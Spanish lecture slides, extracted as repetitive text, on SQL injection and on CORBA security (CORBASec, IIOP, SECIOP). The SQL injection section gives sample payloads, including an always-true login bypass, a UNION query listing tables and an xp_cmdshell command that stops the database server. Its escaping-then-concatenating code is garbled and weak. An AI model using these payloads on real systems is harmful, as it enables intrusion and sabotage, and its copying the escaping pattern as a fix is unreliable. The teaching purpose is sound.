SQL Injection Ataque contra un Gestor de Bases de Datos Relacional que aprovecha la vulnerabilidad de una aplicación cliente del mismo. Dicha vulnerabilidad consiste en permitir mandar instrucciones SQL adicionales a partir de un campo o un parámetro de entrada - por lo que se dice han sido "inyectadas".

SQL Injection El ataque "SQL Injection" es posible dadas ciertas características del lenguaje- SQL

SQL Injection El ataque "SQL Injection" es posible dadas ciertas características del lenguaje- SQL que lo dotan de flexibilidad: • Poder embeber comentarios en una sentencia SQL • Poder escribir varias sentencias SQL juntas y ejecutarlas en bloque. • Poder realizar consultas de metadatos por medio de "tablas de sistema".

SQL Injection Una aplicación de acceso a datos que emplea entradas de usuario como

SQL Injection Una aplicación de acceso a datos que emplea entradas de usuario como parámetros de una consulta SQL común. Es típico que este tipo de consultas sean construidas dinámicamente utilizando sentencias SQL concatenación de variables, al estilo: "SELECT campo 1, campo 2, . . . , campo. N FROM tabla. X WHERE campo 1=" + m. Valor [+. . . ]

SQL Injection Donde m. Valor esta dado por una entrada de usuario. Son éstas

SQL Injection Donde m. Valor esta dado por una entrada de usuario. Son éstas entradas las puertas a un SQL Injection ya que, dependiendo del tipo de dato de m. Valor, si en lugar de la entrada esperada se coloca: a) ' Or 1=1 -b) 0 Or 1=1 -c) #01/01/01# Or 1=1 -"SELECT campo 1, campo 2, . . . , campo. N FROM tabla. X WHERE campo 1='' Or 1=1 -- lo que siga no importa"

SQL Injection Lo que se consigue es de hacer válida la consulta al añadir

SQL Injection Lo que se consigue es de hacer válida la consulta al añadir una clausula OR que siempre será cierta (1=1) así como de obligar al intérprete SQL a omitir el resto de la sentencia SQL original al introducir el guión doble (--) que le indica que lo subsiguiente es un comentario. El atacante puede, por ejemplo, tener acceso a la aplicación sin necesidad de contar con las credenciales adecuadas. ' UNION SELECT id, name, '', 0, '' FROM sysobjects WHERE xtype='U' -- '; EXEC xp_cmdshell 'net stop sqlserver', no_output

Protecciones SQL Injection Existen ciertos principios a considerar para proteger nuestras aplicaciones de un

Protecciones SQL Injection Existen ciertos principios a considerar para proteger nuestras aplicaciones de un SQL Injection: • No confiar en la entrada del usuario. • No utilizar sentencias SQL construidas dinámicamente. • No utilizar cuentas con privilegios administrativos. • No proporcionar mayor información de la necesaria.

String s = input. SQL. Replace("'", "''") s = s. Replace("[", "[[]") Usar mysql_escape_string()s

String s = input. SQL. Replace("'", "''") s = s. Replace("[", "[[]") Usar mysql_escape_string()s = s. Replace("%", "[%]") addslashes() s = s. Replace("_", "[_]") Escapar los Datos Private Function string Safe. Sql. Literal( _By. Val input. SQL As String) As String Return input. SQL. Replace("'", "''") End Function '. . . Dim safe. SQL As String = Safe. Sql. Literal(Login. Text) Dim my. Command As Sql. Data. Adapter = _ New Sql. Data. Adapter("SELECT au_lname, au_fname " & _ "FROM authors WHERE au_id = '" & safe. SQL & "'", _ my. Connection)

Seguridad en CORBA

Seguridad en CORBA

Corba. Sec : algunos principios • Al igual que todas las especificaciones de la

Corba. Sec : algunos principios • Al igual que todas las especificaciones de la OMG, la de CORBAsec es larga y tediosa • Un agente usuario de Corba debe presentar sus credenciales, es decir, sus atributos de seguridad: • Identificación • Privilegios • Se maneja el concepto de dominios de seguridad y de políticas de seguridad

Otros aspectos de CORBASec Otros aspectos inherentes a seguridad en sistemas distribuidos: • Seguridad

Otros aspectos de CORBASec Otros aspectos inherentes a seguridad en sistemas distribuidos: • Seguridad al nivel de granularidad de los objetos • Delegación • Definición de dominios de seguridad que no corresponden con dominios de administración de sistemas (jerarquías, federaciones) • Interoperabilidad con otros sistemas de objetos (DCOM, EJB) • Si las aplicaciones incluyen acciones relacionadas con seguridad o no.

Seguridad a todo nivel • Las propuestas de la OMG para proveer seguridad en

Seguridad a todo nivel • Las propuestas de la OMG para proveer seguridad en Corba se centran en definir mecanismos para el acceso seguro a objetos • La necesidad de proteger todo tipo de información (no sólo la que se provee por medio del modelo de objetos distribuidos) hace necesario pensar en protecciones más generales • Estos mecanismos de protección general afectan la implantación y el desempeño de sistemas distribuidos

Sistemas de objetos distribuidos • En un esquema cliente/servidor la conexión es iniciada siempre

Sistemas de objetos distribuidos • En un esquema cliente/servidor la conexión es iniciada siempre por el cliente, usando sockets directamente, RPC, RMI, etc. • En Corba, al ser un conjunto de objetos distribuidos interoperando libremente, el cliente y el servidor pueden intercambiar roles dinámicamente al momento de establecer cada conexión se debe localizar el objeto referenciado, resultando en operaciones de consulta a servidores de nombres

Implementación de llamadas CORBA: IIOP • IIOP: Internet Inter ORB Protocol • IIOP =

Implementación de llamadas CORBA: IIOP • IIOP: Internet Inter ORB Protocol • IIOP = GIOP (+ CDR) + TCP/IP • Se define una estructura de localización en Internet, llamada IOR (Internet Object Reference) • Los tipos de mensaje definidos están mapeados en funciones que realizan el envío sobre TCP/IP, típicamente usando la interfaz de sockets • No se define un puerto “bien conocido” para el servidor, más bien se establece que puede haber varios servidores en el mismo “host” • IIOP puede ir codificado sobre SSL

IIOP seguro: SECIOP -Especificado en CORBAsec -Define extensiones a IIOP que lo hacen “consciente”

IIOP seguro: SECIOP -Especificado en CORBAsec -Define extensiones a IIOP que lo hacen “consciente” de aspectos de seguridad -El protocolo incluye aspectos de autentificación basado en credenciales, para estableces asociaciones - El tráfico se encripta en una subcapa del protocolo SECIOP llamada GSSAPI, por lo que no se requiere de SSL debajo

SECIOP vs. IIOP/SSL - IIOP/SSL tiene un mayor nivel de difusión, debido a que

SECIOP vs. IIOP/SSL - IIOP/SSL tiene un mayor nivel de difusión, debido a que SSL es una tecnología madura - SECIOP permite autentificar a nivel de objetos, SSL a nivel de conexión - En casos en que el acceso a cada objeto va por una conexión separada, ambos ofrecen el mismo poder - En caso de hacer tunneling debido, por ejemplo, a restricciones de NAT, SECIOP sigue manteniendo la granularidad a nivel de objetos, SSL no

Conclusiones Extensión del rol de la seguridad Revisión de las arquitecturas, APIS, Frameworks, clases,

Conclusiones Extensión del rol de la seguridad Revisión de las arquitecturas, APIS, Frameworks, clases, paquetes…. Conciencia del “buen” programador Reutilización de componentes de seguridad (Autenticación, Criptografía, Certificados, Firmas …) Entornos privativos aplicaciones seguras. y Libre ofrecen soporte NO olvidar manejo de memoria, pilas, buffers…… para

Referencias • Java Cryptography Architecture. API Specifications & Reference, http: //java. sun. com/products/jdk/1. 1/docs/guide/security/Crypto.

Referencias • Java Cryptography Architecture. API Specifications & Reference, http: //java. sun. com/products/jdk/1. 1/docs/guide/security/Crypto. Spec. html • Jan Kleindienst. CORBA and Java Compared: Security. Dept. of Computer Science, Faculty of Mathematic and Physic, Charles University, Prague • The Open Web Application Security Project http: //www. owasp. org/ • Security. Focus http: //www. securityfocus. org/ • Help Net Security http: //www. net-security. org/ • Secure Coding http: //www. securecoding. org/list/ • WEB APPLICATION SECURITY www. securityfocus. com/archive/107